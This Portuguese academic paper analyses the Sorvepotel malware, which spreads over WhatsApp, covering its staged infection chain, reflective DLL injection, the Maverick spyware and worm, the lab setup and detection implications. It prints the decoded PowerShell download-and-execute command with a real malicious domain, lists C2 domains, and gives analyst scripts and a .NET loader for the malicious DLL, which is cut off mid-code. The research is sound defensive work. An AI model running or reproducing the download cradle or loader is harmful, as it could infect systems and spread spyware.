A existência do Malware é confirmado pela base de inteligência de ameaças da
Kaspersky 3, que classifica o Malware como um trojan modular capaz de executar diversas
ações maliciosas em sistemas Windows [Kaspersky Lab 2025b]. Entretanto, as fontes
públicas disponíveis não especificam com precisão quais organizações, setores ou pessoas
foram afetados.

A escolha do Malware Sorvepotel como objeto de estudo justifica-se por se tratar
de uma ameaça recente, com atuação significativa no contexto brasileiro e ainda pouco
documentada na literatura técnica, além de empregar técnicas modernas de execução
fileless, engenharia social e modularidade, representativas das tendências atuais observadas
em campanhas de Malware-as-a-Service.

Nesse sentido, este trabalho tem como objetivo realizar uma análise técnica do
Malware Sorvepotel, abrangendo tanto a análise estática quanto a análise dinâmica, com o
intuito de compreender suas características, técnicas de ataque e possíveis impactos no
cenário de segurança cibernética atual, em especial no contexto brasileiro.

Para este objetivo, este trabalho está divido da seguinte forma: no Capítulo 1
encontra-se a introdução; no Capítulo 2, a fundamentação teórica, onde encontra-se
os conceitos e fundamentos relacionados ao funcionamento dos Malware e a base de
conhecimento necessária para compreender este trabalho; no Capítulo 3, é abordado
sobre trabalhos relacionados em análise de Malware; no Capítulo 4, encontram-se a
Metodologia abordada para o estudo do Malware Sorvepotel; No Capítulo 5 é descrito os
resultados obtidos a partir da análise do Malware Sorvepotel e uma breve discussão sobre
os resultados. Por fim, o Capítulo 6 contém considerações finais sobre o artigo.

2. Fundamentação Teórica

2.1. Malware Fileless e Execução em Memória

Malwares do tipo fileless caracterizam-se pela execução de código diretamente na memória,
sem a necessidade de realizar escrita em disco para executar payloads, dificultando assim
sua detecção por mecanismos tradicionais de segurança. Esse tipo de abordagem explora
principalmente ferramentas legítimas do sistema operacional, como o PowerShell, Bash e
afins. Essa abordagem popularizou de tal maneiro, que ganhou uma categoria específica,
conhecida como LOLbins [Sudhakar and Kumar 2020].

1Relato técnico publicado por profissional da área de segurança da informação no LinkedIn, descrevendo
atividade atribuída ao Malware Kryptik.JD. Versão arquivada no Internet Archive em 09 fev. 2025. Disponí-
vel em: https://web.archive.org/web/20251123233045/https://www.linkedin.com/
posts/kauandias_compartilhe-activity-7379239625762017281-zTin/.

2Publicação em rede social (Instagram) mencionando possível campanha envolvendo o Malware Kryp-
tik.JD. Relato informal de profissional da área. Versão arquivada no Internet Archive em 09 fev. 2025.
Disponível em: https://archive.ph/YhNa0.

3Base de dados da Kaspersky threats, comprovando a existência do Malware. Disponível em: https:
//threats.kaspersky.com/en/threat/Trojan.Win64.Kryptik.jd/.
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2.2. Técnicas de Injeção e Carregamento Dinâmico

Malwares fileless frequentemente utilizam-se de técnicas como LOLbins, no entanto,
outras técnicas também são comumente empregadas em diferentes contextos. Entre essas
técnicas, destaca-se a reflective DLL injection. Esta é uma técnica avançada onde todas as
dependências de uma DLL são resolvidas manualmente com reflection, pois permite ao
Malware executar todas as atividades maliciosas silenciosamente já que essa abordagem é
extremamente difícil de combater, pois não ocorrem chamadas para as funções tradicionais
de DLL do sistema operacinal [Fewer 2008].

2.3. Ambientes de Análise de Malware

A análise de malwares modernos requer ambientes controlados e isolados, capazes de
reproduzir o comportamento da ameaça sem comprometer sistemas de produção. Nesse
contexto, soluções como máquinas virtuais especializadas e distribuições focadas em
análise de Malware permitem a observação segura de comportamentos suspeitos, incluindo
comunicação com servidores remotos, execução em memória e mecanismos de persistência,
além de fornecer um conjunto de ferramentas prontas para análise[Bistarelli et al. 2025,
Yli-Lankoski 2024, Rahul Raj et al. 2024].

2.4. Ferramentas, Automação e Análise de Malware

Tal como ambientes controlados e isolados, é notório que a análise de Malware necessite
de um conjunto de ferramentas para auxilar na investigaço de um Malware. Ferramentas
como dnSpy, peStudio, Detect It Easy e PowerShell ISE são amplamente utilizadas por
analistas de segurança para examinar o comportamento de malwares no geral, desde o tipo
de arquivo, análise estática e dinâmica, até simulações à nível de rede. Neste sentido, é
essencial a utilização de ferramentas eficazes, amplamente utilizadas e documentadas para
reprodutibilidade e precissão, tal como dito por [Yli-Lankoski 2024].

3. Trabalhos Relacionados

O uso de ambientes virtualizados e sandboxes são um padrão de mercado para a análise
segura de Malware, o que permite estudar comportamentos anômalos sem comprome-
ter a integridade dos sistemas em produção. Diversos trabalhos pesquisam arquiteturas,
metodologias e práticas para a construção destes ambientes, sendo destacado fundamental-
mente princípios de isolamento, instrumentação e resistência contra técnicas de evasão de
ambientes de análise.

Neste sentido, estudos voltados à classificação de sandboxes propõem arquiteturas
baseadas no nível de virtualização, ferramental e detecção do comportamento malicioso,
distinguindo abordagens baseadas em máquinas virtuais, bem como discutindo as arquitetu-
ras para cada caso, além das vantagens e limitações de cada modelo [Bistarelli et al. 2025].

Outrossim, artigos antecessores abordam o tema de ambientes seguros para análise
de Malware, enfatizando a necessidade de isolamento como parte crítica do ambiente,
como o controle de comunicação, memória e outros aspectos fundamentais. Neste mesmo
sentido, também abordam sobre ambientes focados em sistemas Windows, dedicados tanto
para análise estática quanto dinâmica, evidenciando como ambientes virtualizados podem
reduzir riscos operacionais sem compreter a fidelidade da análise [Yli-Lankoski 2024].
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Além disso, a literatura destaca o uso de sandboxes como ferramenta central para
análise dinâmica, possibilitando a observação de chamadas de sistema, modificações no
sistema de arquivos e padrões de comunicação em rede, aspectos frequentemente ausentes
na análise estática [Rahul Raj et al. 2024]. Tais características são particularmente rele-
vantes para a identificação de malwares que evitam a escrita em disco ou utilizam técnicas
de execução temporária.

Com a evolução dos mecanismos de detecção baseados em assinatura, malwa-
res passaram a empregar técnicas que evitam a persistência em disco, dando origem
à categoria conhecida como fileless Malware. Como supracitado, essas ameaças ex-
ploram componentes legítimos do sistema operacional, memória volátil e mecanismos
de injeção para executar código malicioso sem deixar rastros no sistema de arqui-
vos [Sudhakar and Kumar 2020].

Nesse contexto, diversos métodos de injeção de código em memória, como process
injection e memory injection, têm sido amplamente utilizadas, dificultando a detecção
por soluções tradicionais de segurança [Sudhakar and Kumar 2020]. Entre essas técnicas,
enfatiza-se a Reflective DLL Injection, que realiza o carregamento de uma DLL diretamente
na memória de um processo, sem o uso da função LoadLibrary e sem dependência de
arquivos em disco [Fewer 2008].

A Reflective DLL Injection, formalizada por [Fewer 2008], utiliza um loader re-
flexivo que carrega um array de bytes de instruções assembly diretamente na memória, e
utiliza mecanismos de programação reflexiva(Reflection) para identificar pontos de entrada
do binário, podendo inclusive modificar parte do código dinamicamente. Este método
elimina a necessidade de artefados e reduz o número de interação com a API do sistema
operacinal, dificultando sua detecção.

A literatura indica que a combinação de técnicas de injeção em memória e
execução fileless reforça a necessidade de ambientes virtualizados e sandboxes ins-
trumentados, capazes de observar o comportamento do Malware em tempo de execu-
ção [Sudhakar and Kumar 2020, Fewer 2008].

4. Metodologia

Este capítulo apresenta os procedimentos metodológicos adotados para o desenvolvimento
deste trabalho, descrevendo o ambiente experimental utilizado, as ferramentas empregadas
na análise do Malware Sorvepotel e as etapas realizadas na análise.

Este trabalho possui abordagem de caracter exploratório e descritivo, visando com-
preender e analisar o comportamento do Malware estudado por meio de uma laboratório
controlado. Todas as atividades foram realizadas em um ambiente virtualizado, confi-
gurado de forma a garantir isolamento, segurança e reprodutibilidade dos experimentos
abordados.

4.1. Ambiente Experimental

O laboratório de análise de Malware é uma das partes fundamentais durante o processo de
investigação de um artefato malicioso. Neste sentido, no que tange ao laboratório deste
trabalho, foi utilizado Remnux e FlareVM para realizar o processo de virtualização do
ambiente de análise.
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Para a arquitetura do laboratório, foi utilizada uma máquina host com sistema
operacional Linux Ubuntu 24.04 LTS, que hospeda duas máquinas virtuais: A primeira
consiste em um ambiente REMnux executado em contêiner Docker (versão 28.5.2), utili-
zando a imagem remnux-distro:noble, para análise estática e dinâmica de malwares; já a
segunda, executa o ambiente FLARE-VM, voltado à análise de malwares tradicionais em
sistema operacional Windows.

A comunicação entre as máquinas virtuais e a máquina host é feita por meio de
uma rede host-only, garantindo que o tráfego de rede gerado durante a análise não interfira
na rede externa e impossibilite com que o Malware interaja com o ambiente externo.

Cabe destacar que o projeto FLARE-VM utiliza-se rolling release para realizar
atualizações. Além disso, não disponibiliza versões de lançamento (releases) tradicionais,
uma vez que sua instalação depende de URLs externas mantidas por terceiros, o que
inviabiliza a reprodução fiel de versões anteriores do ambiente. Nesse sentido, a instalação
do FLARE-VM é realizada conforme as instruções oficiais descritas em sua documentação,
utilizando sempre as versões mais recentes das ferramentas disponíveis no momento da
configuração do laboratório. Ainda assim, os processos e técnicas empregados neste
trabalho são compatíveis e plenamente funcionais com as versões atuais das ferramentas
utilizadas, não afetando negativamente o processo metodológico do trabalho.

No que tange ao objeto de estudo, as amostras de malware analisadas neste trabalho
foram obtidas por meio de coleta independente, a partir de fontes públicas e não indexadas,
no contexto de estudo e análise de ameaças. A partir do primeiro exemplar identificado,
foram extraídas, a partir de sua cadeia de infecção, amostras adicionais relacionadas, com
eventuais adaptações no código-fonte ou no binário, quando necessário para viabilizar
a análise. Nos casos em que não foi possível obter o artefato original, optou-se pela
utilização de exemplares funcionalmente similares, identificados em fontes públicas. Os
artefatos, scripts e exemplares extraídos da cadeia de infecção ou adaptados para fins de
análise, encontram-se disponíveis em [Souza 2025].

Figura 1. Exemplo da arquitetura do laboratório de análise de Malware.
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4.2. Sorvepotel - estágio 1: Payload PowerShell via WhatsApp

O processo inicial de infecção do Sorvepotel ocorre por meio de engenharia social quando
o usuário recebe uma mensagem no WhatsApp contendo um arquivo zipado se passando
por um "comprovante bancário"e o induzindo a manter o arquivo caso necessário. Neste
arquivo zipado, o usuário encontra um atalho do Windows malicioso se passando por um
pdf. Ao clicar no atalho, incia-se o processo de infecção do Malware. O estágio inicial de
infecção do Sorvepotel é apresentado na Figura 2.

Figura 2. Estágio inicial de infecção do Sorvepotel no whatsapp.

Ao descompactar o arquivo zipado, e realizar uma breve análise do atalho do
Windows (.lnk), é possível observar que o atalho aponta para a execução de um script
PowerShell, conforme apresentado na Figura 4. Esse script PowerShell é responsável por
iniciar o processo de infecção do Malware, baixando e executando as próximas etapas
do payload malicioso no sistema da vítima. Pode-se observar que o script malicoso está
ofuscado, com diversas operações de for loop com base em uma string base64 quebrada
em partes.

Neste sentido, realizando uma análise estática simples sobre o código ofuscado,
é possível reconstruir a string base64 completa e decodificá-la para revelar o comando
PowerShell original que será executado pelo atalho. O comando decodificado revela
que o PowerShell está sendo utilizado para baixar e executar um script adicional de um
servidor remoto, o script no Apêndice - A demonstra o processo de decodificação de
forma iterativa. O script adicional baixado provavelmente contém o payload principal do
Malware Sorvepotel, que será executado no sistema da vítima para realizar suas atividades
maliciosas.

1 p o w e r s h e l l . exe −w h i d −enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQB
2 jAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA
3 GQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAG8AcgB2AG
4 UAdABlAG4AbwBwAG8AdABlAC4AYwBvAG0ALwBhAHAAaQAvAGkAdABiAGkALwB3AG0A
5 TgB1AFkAdgAxAE4ANwB1AEoAdwBGAHgARQBwAHk
6 AeQA4ADMAcABVAEcAQwA2ADMASQB5AGYAOQBsADAAJwApAA==
7 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
8 p o w e r s h e l l . exe −w h i d −enc IEX (New− O b j e c t Net . WebClient ) . DownloadS t r ing ( ’ h t t p s : / / s o r v e t e n o p o t e . com / a p i / i t b i /

wmNuYv1N7uJwFxEpyy83pUGC63Iyf9l0 ’ )

Listing 1. Resultado da execução do script de decodificação, mostrando o payload
malicioso
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Figura 3. Estágio inicial de infecção do Sorvepotel no whatsapp.

4.3. Sorvepotel - estágio 2: Payload PowerShell com Shellcode via Reflective DLL
Injection

Acessando o link malicioso presente no comando decodificado do atalho do Windows,
é possível obter o segundo estágio de infecção do Malware Sorvepotel. Nessa etapa, é
carregado um segundo script PowerShell, conténdo um shellcode codificado em array.
Esse processo é detalhada na Figura 4.

Figura 4. Estágio inicial de infecção do Sorvepotel no whatsapp.

Na figura 4, podemos perceber três itens principais: (i) a função de decodificação
do shellcode; (ii) o shellcode codificado em array e o processo de decodificação; (iii) a
função PowerShell responsável por carregar o shellcode na memória via reflective DLL
injection. Percebe-se assim que, este processo é uma abordagem fileless, onde o Malware
não grava arquivos maliciosos no disco rígido do sistema, mas sim carrega e executa o
código diretamente na memória, dificultando sua detecção por ferramentas de segurança
tradicionais.

Para entender melhor o funcionamento do shellcode, foi necessário realizar a
análise estática e dinâmica do mesmo. Para tal, foi desenvolvido um script(Apêndice - B)
para extrair o binário decodificado do payload original. Após extrair o binário final, foi
possível realizar algumas análises iniciais, como a identificação do tipo de arquivo e as
DLLs carregadas dinamicamente pelo Malware, utilizando as ferramentas detect it easy
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5 e pestudio 6, que revelou ser uma DLL em .NET ofuscada. Com essa informação, foi
possível utilizar ferramentas específicas para análise de binários .NET, como o de4dot
e o dnSpy, para desofuscar o código, decompilar e depurar, respectivamente, afim de
compreender suas funcionalidades.

Figura 5. Detect it Easy, contendo informações importantes da DLL .NET

Figura 6. PEStudio, identificando as DLLs carregadas pelo Malware na primeira
etapa de infecção.

Como supracitado, para realizar a análise dinâmica da DLL .NET, foi utilizado o
dnSpy para depurar a DLL em .NET 8, permitindo a execução passo a passo do código e a
observação de seu comportamento em tempo real. No entanto, por se tratar de uma DLL,
foi necessário realizar a implementação de um loader customizado e descobrir o ponto de
entrada no qual o Malware executa na DLL. Neste sentido, encontra-se no Apêndice - C,
o Loader customizado em .NET utilizado para carregar a DLL maliciosa na memória e
iniciar o processo de debugging.

Já o ponto de entrada do Malware(IsApplicationTrustedToRunAdvise) foi identi-
ficado debuggando o script PowerShell anteriormente citado, parando exatamente antes
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do shellcode ser carregado em memória. Esse processo é detalhado na Figura 7, onde é
possível observar a assinatura do método e outras informações.

Figura 7. Windows PowerShell ISE. debugging do script PowerShell, identificando
o entryMethod do Malware.

Figura 8. dnSpy. Ponto de entrada do Malware, IsApplicationTrustedToRunAdvise
durante o debugging.

Seguindo o fluxo de análise dinâmica via debugging, foi possível observar que o
Malware realiza diversas operações de rede, como o download de arquivos adicionais e a
comunicação com servidores de comando e controle (C2). Um exemplo disso é o método
DownloadData da classe ofuscada ApplicationPathLockYearNumberToken, responsável
por baixar o próximo estágio do Malware a partir do servidor remoto zapgrande.com,
conforme apresentado na Figura 9.

Para facilitar esta etapa, uma instância do InetSim foi inicializada no
Remnux para coletar parte do tráfego de rede e simular uma rede fake, afim
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Figura 9. dnSpy. Debugging do método DownloadData do WebClient, responsável
por baixar o próximo estágio do Malware.

de emular parte do comportamento do servidor remoto. Neste sentido, foi
possível observar diversas tentativas de requisições HTTP GET para dois
endpoints específicos(zapgrande.com/api/v1/06db709c18d74b0ab4ce e zap-
grande.com/api/v1/56f4ded3ade04628b0ec94), realizadas pelo Malware durante o
processo de debugging, como apresentado na Figura 10.

Figura 10. dnSpy e Inetsim. Debugging e coleta de requisições do Malware no
domínio zapgrande.com

Esses dois endpoints, são responsáveis por carregar o terceiro e último estágio do
Malware Sorvepotel. O primeiro endpoint(06db709c18d74b0ab4ce) carrega um payload,
contendo um Spyware e o agente de comunicação com o C2 (Command and Control). Já o
segundo endpoint(56f4ded3ade04628b0ec94), carrega o worm do WhatsApp, responsável
por se replicar. Ambos os estágios são essenciais para o funcionamento completo do
Malware, implementando funcionalidades adicionais e avançadas para a realização de suas
atividades maliciosas.
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4.4. Sorvepotel - estágio 3: Payloads Spyware (Maverick)

Analisando o payload coletado do primeiro endpoint(06db709c18d74b0ab4ce), o
Malware é carregado em duas etapas. Primeiramente, é carregado um Malware chamado
Maverick que realiza o processo de persistência, escrevendo em C:\Users\<user>
\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\inicializar\"+
"HealthApp-"+GUID+".bat" um script bat, similar ao que inicializa o processo de
infecção via WhatsApp, que é executado toda vez que o usuário faz login no sistema. Esse
processo é detalhado na Figura 11.

Figura 11. Payload do estágio 3, Maverick, contendo o Malware de persistência e
Spyware.

Neste mesmo Payload, é carregado um Spyware via Reflective DLL Injection,
a segunda parte do Maverick, responsável por roubar informações sensíveis do sistema
infectado e enviá-las para o servidor C2. O Spyware coleta informações como capturas
de tela, registros de teclas digitadas, informações do sistema e dados de navegação na
web. Essas informações são então enviadas para o servidor C2 para análise e possível
uso malicioso. Entretanto, antes de carregar esta segunda etapa, o Malware realiza uma
verificação por domínios bancários no histórico de navegação do usuário, e caso seja
identificado algum domínio bancário, o Malware envia estas informações para o servidor
de controle e carrega a segunda etapa.

A Figura 12 ilustra o processo de verificação de domínios no histórico de navegação
e o carregamento do segundo payload. A Figura 13 apresenta alguns dos domínios
descriptografados identificados no histórico de navegação do usuário infectado. Para
viabilizar a obtenção desses domínios, foi extraído do código do malware o mecanismo de
proteção empregado, baseado em criptografia simétrica utilizando o algoritmo AES em
modo CBC, com chave e vetor de inicialização embutidos no próprio payload, além de
compressão por meio do algoritmo GZip. A partir dessa análise, foi extraido do código do
Malware e adaptado um script em .NET para automatizar o processo de descriptografia
dos domínios coletados, o qual se encontra disponível no Apêndice D.

Já a segunda etapa do Maverick, como dito anteriormente, é um C2 spyware, que
permite a comunicação com o servidor de comando e controle, enviando as informações
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Figura 12. Maverick, verificando domínios no histórico de navegação e carregando
o segundo payload.

Figura 13. Domínios decriptografados.

Figura 14. Maverick, algoritmo de descriptografia dos domínios.
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coletadas do sistema infectado e recebendo comandos adicionais para execução. Caso
o ambiente seja identificado como um ambiente suspeito, ele finaliza o processo. Esse
processo é detalhado na Figura 15 e 16.

Figura 15. Maverick - estágio 2, verificando ambiente e iniciando comunicação
com C2.

Figura 16. Maverick - estágio 2, controle e comando com o C2.

Durante o debugging desta segunda etapa, foi possível identificar requisições para
o servidor C2, localizado no domínio bravexolutions.com, conforme apresentado na Figura
17. Essas requisições são responsáveis por enviar as informações coletadas pelo spyware
para o servidor C2 e e estabelecer a conexão com o servidor. Porém, devido à falta de um
servidor C2 ativo, não foi possível observar respostas ou comandos adicionais enviados
pelo servidor, pois o mesmo não estava operacional durante o período de análise.
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Figura 17. Maverick - estágio 2, requisições para o servidor C2.

4.5. Sorvepotel - estágio 3 - WhatsApp Worm
A última etapa de análise foi realizada no payload coletado do segundo end-
point(56f4ded3ade04628b0ec94), que carrega o worm do WhatsApp, responsável por
se replicar. Esse worm utiliza a lista de contatos do WhatsApp da vítima para enviar
mensagens maliciosas para os contatos, contendo o link para o arquivo zipado com o
atalho malicioso, iniciando assim o processo de infecção em novos alvos. O worm também
pode utilizar grupos do WhatsApp para se propagar, enviando mensagens para todos os
membros do grupo. Esse processo de replicação é detalhado na Figura 18. Esse worm
foi implementado utilizando a biblioteca wppconnect/wa-js e utilizando um driver do
selenium para automatizar a interação com o WhatsApp Web.

Figura 18. Maverick - estágio 3, replicação do worm do WhatsApp.

5. Resultados & Discussão
Este capítulo apresenta os resultados obtidos a partir da análise do Malware Sorvepotel,
conforme descrito na metodologia anteriormente. São discutidos os principais compor-
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Figura 19. Cadeia de infecção do Malware Sorvepotel.

tamentos observados durante a execução da amostra, com ênfase na cadeia de infecção
identificada, nas técnicas de execução e persistência empregadas, bem como em caracterís-
ticas associadas a Malware do tipo fileless.

5.1. Cadeia de infecção identificada & Técnicas utilizadas

A análise do estágio inicial evidenciou o uso do WhatsApp como vetor de infecção,
explorando a confiança do usuário por meio de um arquivo aparentemente legítimo. Isso
demonstra a necessidade das técnicas de engenharia social empregadas pelo Malware
funcionar para que seja possível sua propagação e inicialização.

Além disso,como discutido na metodologia 4, a análise da amostra permitiu mapear
a cadeia de infecção do Malware Sorvepotel. A Figura 19 ilustra o fluxo de atividades
desde a inicialização até a execução das cargas maliciosas.

Dado as abordagens utilizadas, pode-se observar que o Malware emprega técnicas
sofisticadas para evitar a detecção, incluindo a utilização de ferramentas legítimas do
sistema operacional (LOLbins), pois utiliza-se extremamente de métodos PowerShell
para requisições, além de executar as suas atividades maliciosas diretamente na memória,
utilizando-se primariamente de técnicas de injeção de código(Reflection DLL Injection),
caracterizando-o como um Malware fileless.

Ademais, os experimentos conduzidos no laboratório possibilitaram identificar
comunicações recorrentes com os domínios zapgrande.com e bravexolutions.com, res-
ponsáveis pela entrega de cargas distintas, incluindo o spyware Maverick e o worm do
WhatsApp. A análise aprofundada do Maverick demonstrou funcionalidades avançadas
de persistência, coleta de dados sensíveis e comunicação com servidores de comando e
controle, além de verificações de ambiente com o objetivo de evitar execução em cenários
suspeitos.

Com o objetivo de sintetizar os principais achados da análise realizada, a Tabela 1
apresenta um resumo das técnicas, comportamentos e artefatos identificados ao longo da
investigação do Malware Sorvepotel.
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Tabela 1. Resumo dos principais resultados obtidos na análise do Malware
Sorvepotel

Aspecto analisado Resultado identificado
Vetor inicial de infecção Engenharia social via WhatsApp, utilizando arquivo com-

pactado contendo atalho malicioso (.lnk) disfarçado de do-
cumento legítimo

Tipo de Malware Malware modular com características híbridas, combinando
técnicas fileless e persistência em disco

Técnicas de execução Execução de código em memória por meio de PowerShell
ofuscado e Reflective DLL Injection

Uso de LOLbins Utilização intensiva do PowerShell para download, decodifi-
cação e execução de cargas maliciosas

Persistência Criação de scripts em diretórios de inicialização do usuário
(%APPDATA%) por meio do módulo Maverick

Comunicação com C2 Comunicação HTTP com servidores de comando e controle
para download de payloads e exfiltração de dados

Módulos identificados Spyware Maverick (coleta de dados e persistência) e worm
de propagação via WhatsApp

Proteção de dados inter-
nos

Uso de criptografia simétrica AES em modo CBC, com
chave e IV embutidos no payload, além de compressão GZip

Comportamento evasivo Verificação de ambiente e tentativa de evitar execução em
cenários suspeitos ou ambientes de análise

Impacto potencial Roubo de dados sensíveis, espionagem do usuário e propa-
gação automatizada em larga escala

Dessa forma, os resultados apresentados não apenas confirmam o alto grau de sofis-
ticação do Sorvepotel, como também evidenciam a convergência entre técnicas modernas
de Malware fileless, abuso de ferramentas legítimas do sistema e estratégias de propagação
automatizada, reforçando a necessidade de abordagens de detecção mais comportamentais
e baseadas em análise de memória.

Entretanto, é possível observar que o Malware também deixa artefatos em disco,
como arquivos de persistência na pasta %APPDATA% do usuário, que podem ser utilizados
para sua detecção e análise forense. Pode-se dizer que, apesar de ser classificado como
fileless, em algumas etapas, o Sorvepotel apresenta características híbridas, combinando
técnicas fileless com métodos tradicionais de persistência em disco.

6. Conclusão
Este trabalho teve como objetivo analisar de forma técnica e exploratória o funcionamento
do Malware Sorvepotel, abordando desde seu vetor inicial de infecção até os estágios
avançados de persistência, espionagem e propagação. Por meio da construção de um
laboratório controlado e da utilização de ferramentas especializadas de análise de Malware,
foi possível mapear sua cadeia de infecção e compreender as técnicas empregadas para
evasão e execução furtiva.

Os resultados obtidos demonstram que o Sorvepotel se caracteriza como uma
ameaça altamente sofisticada, fazendo uso intensivo de scripts PowerShell ofuscados,
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execução de código diretamente em memória e injeção reflexiva de DLLs .NET, o que o
enquadra em uma classe de malwares com forte viés fileless. Além disso, a integração
entre o spyware Maverick e o worm do WhatsApp evidencia uma estratégia bem definida
de monetização e propagação em larga escala, explorando tanto dados sensíveis da vítima
quanto canais de comunicação amplamente utilizados.

Do ponto de vista prático, os achados deste trabalho possuem implicações diretas
para estratégias de detecção e resposta a incidentes. A predominância de execução em
memória, o abuso de ferramentas legítimas do sistema operacional e o uso intensivo de
LOLbins, em especial com PowerShell ofuscado, evidenciam alguns pontos de indicadores
de infecção "dinâmicos", reforçando a necessidade de mecanismos de detecção compor-
tamental, monitoramento de memória e soluções do tipo EDR. Além disso, os padrões
observados na cadeia de infecção, na comunicação com servidores de comando e controle
e nos artefatos de persistência identificados podem subsidiar atividades de threat hunting,
criação de regras de detecção e investigações forenses em ambientes corporativos.

A análise apresentada contribui para o entendimento técnico desse tipo de ameaça,
permitindo compreender o cenário de segurança no Brasil, suas dinâmicas operacionais e
os desafios que impõem às estratégias tradicionais de defesa cibernética, em especial no
que tange a engenharia social.Como trabalhos futuros, sugere-se a investigação de possíveis
variantes do Sorvepotel e a avaliação da eficácia de mecanismos de defesa baseados em
monitoramento comportamental com base em machine learning.

Em síntese, este estudo reforça a importância da análise aprofundada de malwares
modernos e demonstra como a combinação de técnicas fileless, modularidade e engenharia
social representa um desafio crescente para a segurança de sistemas contemporâneos,
principalmente no que concerne a Malware-as-a-Service (MaaS) [Patsakis et al. 2024],
pois evidencia a evolução das ameaças no cenário de cibersegurança no Brasil.
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Apêndices

A. Script Python para decodificar .lnk
1 i m p o r t base64
2 m= "AGUAdABlAG4AbwBw . . . < s t r i n g t r u n c a d a > . . . GkALwB3AG0ATgB1AFkAdg"
3 v= " e l l . "
4 K= " e r s h "
5 Y= "−e "
6 E= " h i d "
7 P= "SQBFAFgAIAAoAE4A . . . < s t r i n g t r u n c a d a > . . . QBiAEMAbABpAGUAbgB0AC"
8 R= "AxAE4ANwB1AEoAdw . . . < s t r i n g t r u n c a d a > . . . 5 AGYAOQBsADAAJwApAA=="
9 j = "w"

10 y= "−w"
11 s= "kALgBEAG8AdwBuAG . . . < s t r i n g t r u n c a d a > . . . AAcwA6AC8ALwBzAG8AcgB2"
12 C= " o "
13 A= " p "
14 f = " nc "
15 u= " exe "
16

17 f o r m a t t e d = f " {A}{C}{ j }{K}{ v }{ u} {y} {E} {Y}{ f } "
18 b64 = f " {P}{ s }{m}{R} "
19 p r i n t ( f o r m a t t e d + b64 )
20 p r i n t ( "−" *30)
21 decoded = base64 . b64decode ( b64 ) . decode ( ’ u t f −16 l e ’ )
22 p r i n t ( f o r m a t t e d + decoded )
23

24 mohelot@mohelot − v j f e 6 9 f 1 1 x b 0 8 1 1 h : / tmp / tmp . 2 ufSndXk50$ python3 d e c o d e _ l n k . py
25 p o w e r s h e l l . exe −w h i d −enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQB
26 jAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA
27 GQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBzAG8AcgB2AG
28 UAdABlAG4AbwBwAG8AdABlAC4AYwBvAG0ALwBhAHAAaQAvAGkAdABiAGkALwB3AG0A
29 TgB1AFkAdgAxAE4ANwB1AEoAdwBGAHgARQBwAHk
30 AeQA4ADMAcABVAEcAQwA2ADMASQB5AGYAOQBsADAAJwApAA==
31 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
32 p o w e r s h e l l . exe −w h i d −enc IEX (New− O b j e c t Net . WebClient ) . DownloadS t r ing ( ’ h t t p s : / /

s o r v e t e n o p o t e . com / a p i / i t b i / wmNuYv1N7uJwFxEpyy83pUGC63Iyf9l0 ’ )

Listing 2. Um script simples para decodificar o PowerShell .lnk de forma iterativa.
(Strings truncadas para facilitar visualização)

B. Script Chepy para extrair DLL .NET
1 from chepy i m p o r t Chepy
2 i m p o r t math
3 d e f d e c o d e _ p a y l o a d ( ) :
4 f i l e _ p a t h = ’ p a y l o a d s / p a y l o a d . ps1 ’
5 f = Chepy ( f i l e _ p a t h ) . l o a d _ f i l e ( )
6

7 # $F0Uvl = MT4Zcs0 $paZwFxG 181
8

9 f . r e g i s t e r ( ’ \ $ \w+ = \w+ \ $ \w+ ( \ d +) ’ )
10

11 r = (
12 f . r e m o ve _w h i t e s pa ce ( )
13 . r e g e x _ s e a r c h ( r " \ ( ( \ d + ( ? : , \ s * \ d +) * ) \ ) " )
14 . l i s t _ t o _ s t r ( )
15 . s p l i t _ b y _ c h a r ( " , " )
16 )
17

18 p r i n t ( f . _ r e g i s t e r s )
19 r . s e t _ s t a t e ( b y t e s ( [
20 math . f l o o r ( i n t ( i . decode ( ) ) / i n t ( r . g e t _ r e g i s t e r ( ’$R0 ’ ) ) )
21 f o r i i n r . s t a t e s [ 0 ] ] )
22 )
23

24 r e t u r n r
25

26
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27 i f __name__ == " __main__ " :
28 r = d e c o d e _ p a y l o a d ( )
29

30 wi th ( open ( " d e co de d_ pa y l o a d . b i n " , "wb" ) ) a s o u t _ f i l e :
31 o u t _ f i l e . w r i t e ( r . o )

Listing 3. Script que utiliza Chepy para extrair o binário em um processo de
pipeline.

C. Loader .NET customizado do estágio 1
1 u s i n g System ;
2 u s i n g System . IO ;
3 u s i n g System . Linq ;
4 u s i n g System . R e f l e c t i o n ;
5
6 c l a s s Program
7 {
8 s t a t i c i n t Main ( s t r i n g [ ] a r g s )
9 {

10 s t r i n g d l l P a t h = a r g s . Length > 0 ? a r g s [ 0 ] : " d ec o ded _ pay lo ad . b i n " ;
11
12 b y t e [ ] F0Uvl ;
13 t r y
14 {
15 F0Uvl = F i l e . ReadAl lBy te s ( d l l P a t h ) ;
16 }
17 c a t c h ( E x c e p t i o n )
18 {
19 r e t u r n 1 ;
20 }
21
22 i f ( F0Uvl == n u l l | | F0Uvl . Length == 0)
23 {
24 r e t u r n 1 ;
25 }
26
27 t r y
28 {
29 Assembly assembly = Assembly . Load ( F0Uvl ) ;
30 MethodInfo en t ryMethod = n u l l ;
31 f o r e a c h ( Type t y p e i n assembly . GetTypes ( ) )
32 {
33 f o r e a c h ( MethodInfo method i n t y p e . GetMethods ( B i n d i n g F l a g s . S t a t i c | B i n d i n g F l a g s . P u b l i c | B i n d i n g F l a g s

. NonPubl ic ) )
34 {
35 o b j e c t [ ] a t t r s = method . G e t C u s t o m A t t r i b u t e s ( t y p e o f ( S T A T h r e a d A t t r i b u t e ) , f a l s e ) ;
36 i f ( a t t r s . Length > 0)
37 {
38 en t ryMethod = method ;
39 b r e a k ;
40 }
41 }
42 i f ( en t ryMethod != n u l l ) b r e a k ;
43 }
44
45 i f ( en t ryMethod == n u l l )
46 {
47 f o r e a c h ( Type t y p e i n assembly . GetTypes ( ) )
48 {
